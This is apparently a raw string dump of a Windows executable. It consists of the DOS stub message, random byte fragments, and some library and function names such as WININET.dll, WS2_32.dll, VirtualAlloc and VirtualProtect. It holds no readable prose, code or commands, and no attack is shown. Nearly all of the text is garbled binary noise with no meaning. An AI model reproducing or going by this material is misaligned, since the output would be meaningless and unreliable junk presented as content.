!This program cannot be run in DOS mode.
tjYjgn
t}lSet%
tQ)ft!
tt!0B):
=ttV$M
TueWedThuF=Sa+v
T@wI$l
txt&mac=lip(Z
u5Y-	L
u'6UL$
-(UCj~d
uCUyx\R
!UE h!
]$>u j
u'Qf8l
U<R,tc	
USER32.dll
v0-59D5FA1C357'
VC20XC00
VirtualAlloc
VirtualFree
VirtualProtect
:V)oki^
}.v,Q_
/VuU|w3
v@ySRiM
w 7positi8
w	<,9K
WCopyA
}w%dk8V/
wEv1A'
'WExAE
 wExite'
WFB(F4
WININET.dll
w$IXF7
(?wKf@Q^
wLJPdk{W
wrn(pR
WS2_32.dll
ws2_Pw
WSAJ'R
Wu0r!MGq
!{X[@0p
 XjO)I
xLO>,T
XPTPSW
|xtplA
X+>t'Wa"/
XYG`j7
XYZabcdefghijklmnopqrstuv
Y^(DU4
ymD432
^Yu	_`
%Y\v/|u
Z.9FL})&
Z 'BALk
Z+QA	&
Z{SCMI